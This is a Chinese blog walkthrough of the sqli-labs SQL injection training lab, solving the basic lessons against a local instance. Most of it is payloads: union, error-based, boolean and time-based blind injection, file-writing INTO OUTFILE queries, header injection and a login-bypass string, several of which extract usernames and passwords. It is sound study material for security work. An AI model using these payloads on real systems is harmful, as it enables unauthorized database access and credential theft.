SQL注入中的大名鼎鼎的sqli-labs闯关,根据网上现有的教程再加上自己的实践,记录一下闯关过程。这一篇是Basic-Challenge阶段的题目。
1 | http://0.0.0.0:8080/Less-1/?id=1' //报错 |
相当于执行SQL语句:
1 | select * from users where id = '1''; |
那是因为我们之前的语句闭合了前面的'
,而后面单一个'
,所以会报错
1 | http://0.0.0.0:8080/Less-1/?id=1' or '1'='1 //正常 |
相当于执行SQL语句:
1 | select * from users where id = '1' or '1'='1'; |
1 | http://0.0.0.0:8080/Less-1/?id=1%27%20order%20by%203%20--+ //正常 |
可以看出总共有三列,结合union查询。
1 | http://0.0.0.0:8080/Less-1/?id=-1%27%20union%20select%201,2,database()%20--+ |
注意这里必须取一个id不存在的数字,例如-1
相当于执行SQL语句:
1 | select * from users where id = '-1' union select 1,2,database() -- 'limit 1,2; |
1 | http://0.0.0.0:8080/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+ |
相当于执行SQL语句:
1 | select * from users where id = '-1' union select 1,2,group_concat(table_name) from information_schema.table where table_schema=database() -- limit 1,2; |
group_concat()
函数把来自多行的数据连接到一个字段当中。
1 | http://0.0.0.0:8080/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+ |
相当于执行SQL语句:
1 | select * from users where id = '-1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='users' -- limit 1,2; |
1 | http://0.0.0.0:8080/Less-1/?id=0%27%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users--+ |
相当于SQL语句:
1 | select * from users where id= '0' union select 1,2,group_concat(user, 0x3a, password) from users -- 'limit 1,2; |
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。
1 | http://0.0.0.0:8080/Less-2/?id=1%27%20and%201=1%20--+ |
报错
1 | http://0.0.0.0:8080/Less-2/?id=1%27%20and%201=1%20--+ |
不报错
说明这里接收的id
参数类型为 int
型,也就是没有 '
去闭合。
其他步骤与Less1类似,在此不再赘述。
1 | http://0.0.0.0:8080/Less-3/?id=1%27 |
报错信息如下:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 |
有一个括号,所以尝试闭合一下括号:
1 | http://0.0.0.0:8080/Less-3/?id=1)%20and%201=1%20--+ |
正确显示信息。
其他步骤与Less1类似,在此不再赘述。
先使用单引号闭合:
1 | http://0.0.0.0:8080/Less-3/?id=1%27 |
报错信息如下:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 |
尝试使用"")
闭合:
1 | http://0.0.0.0:8080/Less-4/?id=1%22)%20--+ |
其他步骤与Less1类似,在此不再赘述。
关于双注入的形成和理解,我单独写了另外一篇博文,可以移步至此。
1 | http://0.0.0.0:8080/Less-5/?id=-1' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+ |
注意,由于有随机性,可能成功执行了语句所以不会报错,正常的显示页面(即不报错)。
1 | http://0.0.0.0:8080/Less-5/??id=-1' union select count(*),1, concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as a from information_schema.tables group by a--+ |
1 | http://0.0.0.0:8080/Less-5/?id=-1' union select 1,count(*), concat((select concat_ws('|',username,password) from users limit 1,1), floor(rand()*2))as a from information_schema.tables group by a --+ |
修改limit x,1 可以显示第x个用户的password和username。
双引号字符型注入,上一题的单引号改成双引号就可以了。
这道题最开始使用单引号闭合发现会有语法错误,只能经过不断大量的尝试,最后才能确定以下查询语句:
1 | http://0.0.0.0:8080/Less-7/?id=1')) --+ |
确定语法正确后,可以开始编写payload:
1 | http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,3 into outfile "/tmp/hack1.txt" --+ |
1 | http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,database() into outfile "/tmp/hack1.txt" --+ |
1 | http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() into outfile "/tmp/hack2.txt" --+ |
1 | http://0.0.0.0:8080/Less-7/?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' into outfile "/tmp/hack3.txt" --+ |
首先尝试?id=1
,发现可以正常回显。再使用嵌入单引号?id=1'
,发现不能正常回显,也没有任何错误消息。只好通过盲注来验证,该注入查询返回的一定是True或False。
1 | http://0.0.0.0:8080/Less-8/?id=1' and 1=1 --+ |
对应MySQL语句是:
1 | SELECT * from table_name WHERE id=1' AND 1=1 |
由回显的结果可知该查询是有效的。
接着下一条查询:
1 | http://0.0.0.0:8080/Less-8/?id=1' and 1=0 --+ |
对应的MySQL语句是:
1 | SELECT * from table_name WHERE id='1' AND 1=0 |
同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此将会返回FALSE。
以上即可说明该数据库是可被盲注的。
1 | http://0.0.0.0:8080/Less-8/?id=1' and length(database())=8 --+ |
1 | http://0.0.0.0:8080/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+ |
其余依次类推,只需要改变substr
函数的第二个参数即可。
1 | http://0.0.0.0:8080/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))=5 --+ |
1 | http://0.0.0.0:8080/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)))=117 --+ |
其余依次类推,只需要改变substr
函数的第二个参数即可。
1 | http://0.0.0.0:8080/Less-8/?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 1,1)))=8 --+ |
1 | http://0.0.0.0:8080/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=117 --+ |
其余依次类推,只需要改变substr
函数的第二个参数即可。
基于时间的盲注和基于布尔类型的盲注原理上差异不大,只是在判断是否正确时,前者是看是否有明显的延迟,后者是看是否有回显。
不管怎么输入,回显总是you are …,考虑时间型盲注:
1 | http://0.0.0.0:8080/Less-9/?id=1' and sleep(3) --+ |
发现明显延迟,说明注入成功。
1 | http://0.0.0.0:8080/Less-9/?id=1' and if(length(database())=8, sleep(3), 1) --+ |
if(exp1, exp2, exp3)
:如果exp1是True,则返回exp2;否则返回exp3。
1 | http://0.0.0.0:8080/Less-9/?id=1' and if(left(database(), 8)='security', sleep(3), 1) --+ |
1 | http://0.0.0.0:8080/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='u', sleep(3), 1) --+ |
1 | http://0.0.0.0:8080/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1), 8)='username', sleep(3), 1) --+ |
1 | http://0.0.0.0:8080/Less-9/?id=1' and if(left((select password from users order by id limit 0,1), 4)='dumb', sleep(3), 1) --+ |
基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号,一样的注入,不再赘述。
测试登录成功,有数据库的数据回显信息,那么就可以尝试使用联合查询注入:
再使用admin'
判断注入点:
这里我们使用burpsuite抓包,发送到
repeater
模块修改POST参数。
1 | uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit |
1 | uname=admin' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit |
1 | uname=admin' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit |
1 | uname=admin' and extractvalue(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users))) --+&passwd=admin&submit=Submit |
记录值获取个数有限
1 | uname=0' union select 1,2 --+&passwd=admin&submit=Submit |
注意
uname
值是错误的时候,才能正确显示联合查询的内容
举一个🌰:
1 | uname=0' union select 1,database() --+&passwd=admin&submit=Submit |
其他的payload类似。
按照题意把Less-11中payload的单引号改为双引号应该就能注入,但是在实际操作中,发现无论是用--+
还是#
还是0x23
都不能注释掉后面的内容。
查看一下PHP文件:
1 | $uname = '"'+$uname+'"'; |
构造一个能闭合而且报错的payload:
1 | admin" and extractvalue(1, concat(0x7e, (select database()))) and " |
所以SQL查询语句就变成了:
1 | select username, password from users where username="admin" and extractvalue(1, concat(0x7e, (select database()))) and "" and password=($passwd) limit 0,1 |
还是在Burpsuite的repeater模块中修改POST参数:
1 | uname=admin" and extractvalue(1, concat(0x7e, (select database()))) and " &passwd=admin&submit=Submit |
1 | uname=admin" and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit |
1 | uname=admin" and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit |
1 | uname=admin" and extractvalue(1, concat(0x7e, (select group_concat(username, '::', password) from users))) and " &passwd=admin&submit=Submit |
根据SQL查询语句可以构造一个联合查询注入的payload:
1 | uname=admin5") union select 1,database() --+ &passwd=admin&submit=Submit |
其他的payload替换查询语句即可。
当输入正确信息时发现没有回显信息,所以不能用联合查询,但可以使用时间盲注。
使用admin' and 1=1
判断注入点:
通过报错信息可以知道需要一个)
来闭合查询语句,在尝试admin') and 1=1 and ('
:
可以发现数据库不报错,SQL语句可以正常执行。由此,我们可以使用报错注入。
1 | uname=admin') and extractvalue(1, concat(0x7e, (select database()))) and (' |
在concat()中构造查询语句,和less-12以及之前的报错型注入一样,不再赘述。
1 | uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit |
先尝试使用admin") and 1=1 ("
:
通过报错信息可以看出, 输入内容被放到双引号中 ,再次尝试`admin" and 1=1#:
而使用admin" and 1=2#
发现登录失败。
使用extracvalue
函数:
1 | uname=admin" and extractvalue(1,concat(0x7e,(select database()))) # &passwd=admin&submit=Submit |
使用floor
函数:
1 | uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=admin&submit=Submit |
1 | uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit |
无论怎么输入都没有回显—>时间延迟注入。
延迟测试payload:
1 | uname=admin' and sleep(5) --+&passwd=admin&submit=Submit |
页面延迟明显,确定使用时间盲注:
1 | uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit |
把Less-15的单引号改成双引号即可。
另外还可以使用 万能账号绕过密码验证
admin")#
验证。
无论怎么输入也没有错误回显,查阅index.php
源码可以看到check_input
函数对参数uname
进行的处理,仔细一下这个函数的源码:
第一步,只截取前15个字符;
第二步,首先介绍get_magic_quotes_gpc()
函数的作用:
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
get_magic_quotes_gpc()
函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的误。
也就是说,在magic_quotes_gpc = On的情况下,如果输入的数据有单引号'
、双引号"
、反斜线\
与 NULL
等字符都会被加上反斜线。
第三步,stripslashes()
函数删除反斜线;
第四步,ctype_digit()
函数 判断是否是数字,是数字就返回true,否则返回false;
第五步, intval()
整型转换。
对username
搞了这么多花里胡哨的操作,但是password
字段还是光秃秃的,使用updatexml()
函数对password
字段进行注入。
1 | uname=admin&passwd=admin' and updatexml(1, concat(0x7e, database(), 0x7e),1)--+ &submit=Submit |
1 | uname=admin&passwd=admin' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ &submit=Submit |
1 | uname=admin&passwd=admin' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+ &submit=Submit |
1 | uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit |
发现有报错:
1 | You can't specify target table 'tablename' for update in FROM clause |
这是因为在MySQL里,不能先SELECT
一个表的记录,在按此条件进行更新和删除同一个表的记录。网上的解决办法是,将SELECT
得到的结果,再通过中间表SELECT
一遍,即:
1 | uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select group_concat(password) from users)),0x7e),1) --+ &submit=Submit |
但是又出现了新的错误信息:
在做多表查询,或者查询的时候产生新的表的时候会出现这个错误:Every derived table must have its own alias(每一个派生出来的表都必须有一个自己的别名)。
最终payload:
1 | uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users limit 0,1) as test),0x7e),1) --+&submit=Submit |
如果登录正常的话,会显示UserAgent字段的信息:
抓包修改user-agent为一下payload就可以了:
1 | 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ' |
其他的payload类似。
本题和上一题很像,回显是referer,查一下php文件可以发现,insert语句中向数据库插入了referer,所以注入点改为referer,paylaod和上一题完全一样,也可以参照less-12,将其双引号改为单引号作为本题payload,不再赘述。
登录成功后的页面:
再查看一下PHP文件:
用Burpsuite抓包改参数:
发现有数据库错误回显,构造payload:
另外还可以使用联合查询,首先判断列数:
再来构造一个样例payload: